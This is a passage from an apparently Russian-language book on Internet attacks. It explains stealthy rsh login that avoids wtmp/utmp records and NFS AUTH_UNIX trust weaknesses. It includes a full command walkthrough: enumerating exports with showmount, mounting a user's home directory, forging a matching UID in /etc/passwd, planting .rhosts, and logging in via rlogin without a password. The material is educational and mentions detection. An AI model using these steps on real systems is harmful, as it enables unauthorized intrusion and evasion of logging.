Читаем Атака на Internet полностью

Несколько замечаний по поводу деталей приведенного выше метода: «rsh victim.com csh – i» используется для проникновения в систему, так как при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, и полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh (в случае успешного завершения) оставалась абсолютно незамеченной, поэтому мы рекомендуем использовать анализатор внешних tcp-подключений, который поможет обнаружить такую деятельность. Недостатки аутентификации NFS

NFS (Network Filesystem) – это разработанный фирмой Sun сетевой протокол для подключения удаленной файловой системы сервера к рабочей станции. К сожалению, этот протокол использует довольно слабые формы аутентификации пользователей, слишком доверяя им. Как пишут Дж. Спаффорд и С. Гарфинкел [23], «NFS позволяет пользователям на рабочей станции читать и изменять содержимое файлов, расположенных на сервере, даже без необходимости идентифицироваться на нем или вводить пароль. Эта характеристика является сердцем проблем безопасности NFS».

И действительно, стандартная схема аутентификации, принятая в NFS, – так называемая AUTH_UNIX. При ней клиент предоставляет серверу свои UID и GID, по которым, собственно, сервер разрешает или запрещает доступ к тому или иному файлу (то есть использует стандартную схему разграничения доступа в UNIX). Таким образом, сервер полностью доверяет клиенту, а клиент-нарушитель может предстать перед сервером любым пользователем (кроме суперпользователя).

...

Как видно, создатели все же понимали слабость такой схемы и то, что на удаленном компьютере суперпользователем (!) может быть, в сущности, кто угодно. Поэтому, даже передав серверу UID, равный нулю, злоумышленник не получит максимальные права на сервере NFS. Иначе говоря, файлы, владельцем которых является суперпользователь, защищены от подобных атак.

Предположим, что запуск программы showmount с параметром «атакуемый хост» покажет следующее:

evil % showmount -e victim.com

export list for victim.com:

/export (everyone)

/var (everyone)

/usr easy

/export/exec/kvm/sun4c.sunos.4.1.3 easy

/export/root/easy easy

/export/swap/easy easy

Сразу заметно, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь, владея информацией, можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Суперпользователь атакующей машины не сможет модифицировать файлы на файловой системе, смонтированной как NFS, а «сам» пользователь сможет! Поэтому, чтобы обмануть доверчивый NFS, надо создать фиктивного пользователя guest с тем же UID, что и на сервере, в локальном файле паролей. Далее стандартно эксплуатируется «излишнее доверие» уже r-служб, и атакующая машина victim.com вставляется в файл. rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:

evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx–x–x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd

evil # su guest

evil % echo victim.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com!

victim %

Перейти на страницу:

Похожие книги